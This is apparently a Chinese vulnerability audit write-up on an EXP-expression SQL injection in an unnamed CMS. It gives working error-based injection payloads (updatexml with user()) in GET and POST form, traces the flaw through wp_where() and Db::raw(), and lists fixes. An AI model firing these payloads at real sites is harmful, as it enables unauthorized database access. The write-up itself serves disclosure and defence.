某cms审计之exp表达式注入
字数 802 2025-08-26 22:11:40
某CMS审计之EXP表达式注入漏洞分析
漏洞概述
该漏洞存在于某CMS系统中,类似于ThinkPHP 3.2.3的EXP注入漏洞。攻击者可以通过构造特殊的请求参数,利用EXP表达式注入实现SQL注入攻击,从而获取数据库敏感信息。
漏洞利用
利用Payload
http://php.local/public/index.php/home/index/bind_follow/?publicid=1&is_ajax=1&uid[0]=exp&uid[1]=) and updatexml(1,concat(0x7e,user(),0x7e),1) -- +
POST方式利用示例(配合未授权访问漏洞):
http://php.local/public/index.php/weixin/message/_send_by_group
POST: group_id[0]=exp&group_id[1]=) and updatexml(1,concat(0x7e,user(),0x7e),1) --
漏洞分析
漏洞触发流程
-
参数获取:
- 通过
I()函数获取uid参数 I()函数实际上是调用input()函数
- 通过
-
SQL查询构建:
- 调用链:
wp_where()→where()→find() - 关键代码:
$info = M('user_follow')->where(wp_where($map))->find();
- 调用链:
-
wp_where()函数处理:
- 检查传入的字段是否为数组
- 如果字段是数组且第一个元素为"exp",则调用
Db::raw()进行表达式查询
-
Db::raw()处理:
- 通过
__callStatic魔术方法调用 - 最终返回
new Expression($value)
- 通过
-
SQL语句生成:
- 在
find()方法中生成最终SQL语句 - 恶意SQL被直接拼接到查询中
- 在
关键代码分析
// wp_where()函数关键部分
if (is_array($value)) {
if (strtolower($value[0]) == 'exp' && !is_object($value[1])) {
$value[1] = Db::raw($value[1]); // 这里导致注入
}
$res[] = [
$key,
$value[0],
$value[1]
];
}
// \think\db\Query::raw
public function raw($value) {
return new Expression($value); // 返回原始表达式,不进行过滤
}
影响范围
- 所有使用了
wp_where()函数并且参数可控的SQL查询 - 影响前后台多个模块
- 需要登录的点可以配合未授权访问漏洞利用
修复建议
- 对用户输入的参数进行严格过滤和验证
- 避免直接将用户输入拼接到SQL查询中
- 使用参数化查询或预处理语句
- 对
wp_where()函数进行修改,增加安全过滤机制 - 限制EXP表达式的使用范围
总结
该漏洞的核心问题在于wp_where()函数对用户输入的处理不当,当传入特定格式的数组参数时,会直接将用户输入作为SQL表达式执行,导致SQL注入漏洞。开发人员应特别注意对用户输入的处理,尤其是当输入用于构建数据库查询时。